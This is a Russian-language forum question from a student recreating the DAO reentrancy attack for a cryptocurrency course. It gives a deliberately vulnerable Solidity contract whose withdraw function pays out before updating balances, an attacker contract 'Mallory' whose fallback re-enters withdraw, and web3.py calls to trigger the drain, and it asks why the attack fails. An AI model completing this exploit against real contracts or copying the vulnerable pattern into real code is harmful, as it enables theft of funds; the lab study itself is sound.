DAOAttack не восстанавливает баланс - PullRequest
0 голосов
/ 01 февраля 2020

Я пытаюсь повторить известную атаку DAO для курса по криптовалютам.

У меня уже есть следующий контракт на блокчейне.

pragma solidity ^0.5.4;

contract EDao {
    address payable public student; 

    //Events
    event Success(address src,uint256 ret);
    event Fail(address src,uint256 ret);
    event NotEnoughFunds(address src, uint256 req, uint256 avail, uint256 balance);

    //Structs 
    struct Fund {
        address payable payoutAddr;
        uint256 amount;
    }
    struct Investor {
        bool canFund;
        bool canAddInvestor;
    }

    //Mappings  
    mapping(address => Investor) investors;
    mapping(address => Fund) funds;

    constructor(address payable _student) public payable {
        // Set the deployer as one of the investors who initially funded this contract
        investors[msg.sender] = Investor({canFund:true, canAddInvestor:true});

        // Set the student as one of the investors
        student = _student;
        investors[student] = Investor({canFund:true, canAddInvestor:true});
    }

    function fundit(address payable to) public payable {
        Investor memory b = investors[msg.sender];
        if (b.canFund) {
            Fund storage f = funds[to];
            f.payoutAddr = to; 
            f.amount += msg.value;
            emit Success(msg.sender,0);
        } else {
            emit Fail(msg.sender,1);
            revert();
        }
    }

    function queryFunds(address addr) public view returns (uint256) {
        Fund memory f = funds[addr];
        return f.amount;
    }

    function withdraw(address payable addr,uint256 amount) public returns (bool) {
        Fund storage f = funds[addr];
        if (f.amount >= amount && amount <= address(this).balance) {
            (bool success, ) = f.payoutAddr.call.value(amount)("");
            if (success) {
                f.amount = f.amount - amount;
                return true;
            }
        } else {
          emit NotEnoughFunds(msg.sender,amount,f.amount,address(this).balance);
        }
        return false;
    }    

        function getStudent() public view returns (address) {
                return student;
        }

    function addInvestor(address payable investorAddr,bool canAdd) public {
        Investor memory b = investors[msg.sender];
        if (b.canAddInvestor) {
            investors[investorAddr] = Investor({canFund:true, canAddInvestor:canAdd});
            emit Success(msg.sender,0);
        } else {
            emit Fail(msg.sender,2);    
        }
    }

    function getInvestor(address investorAddr) public view returns (bool canFund, bool canAddInvestor) {
        Investor memory b = investors[investorAddr];
        canFund = b.canFund;
        canAddInvestor = b.canAddInvestor;
                return (canFund, canAddInvestor);
    }

}

Я также написал этот контракт и также развернул это в блокчейне:

pragma solidity ^0.5.12;
import './EDao.sol';

contract Mallory {
    address payable owner;
    EDao public dao = EDao(##EdaoSmartContractAddress##);

    constructor() public{owner = msg.sender; }

    function getJackpot()public { owner.transfer(address(this).balance); }

    function() external payable { dao.withdraw(address(this), 1000000000000000000); }

}   

Теперь, чтобы запустить атаку, я делаю следующее:

Отправка 1 eth на адрес edao (контракт) для адреса mallory ( einstance):

contract_function = contract.functions.fundit(einstance.address)
tx_hash = contract_function.transact({"from": w3.eth.accounts[0], "value": 1000000000000000000})

И затем отправка транзакции Мэллори с газом:

w3.eth.sendTransaction({'from':w3.eth.accounts[0], 
                        'to':einstance.address, 
                        'value':1,
                        'gas': 4712388})

После этого в идеале функция обратного вызова должна помочь Мэллори украсть все монеты у EDao. Однако баланс edao увеличивается на 1, а Мэллори остается на нуле.

Пожалуйста, помогите мне исправить это. Я что-то не так делаю?

...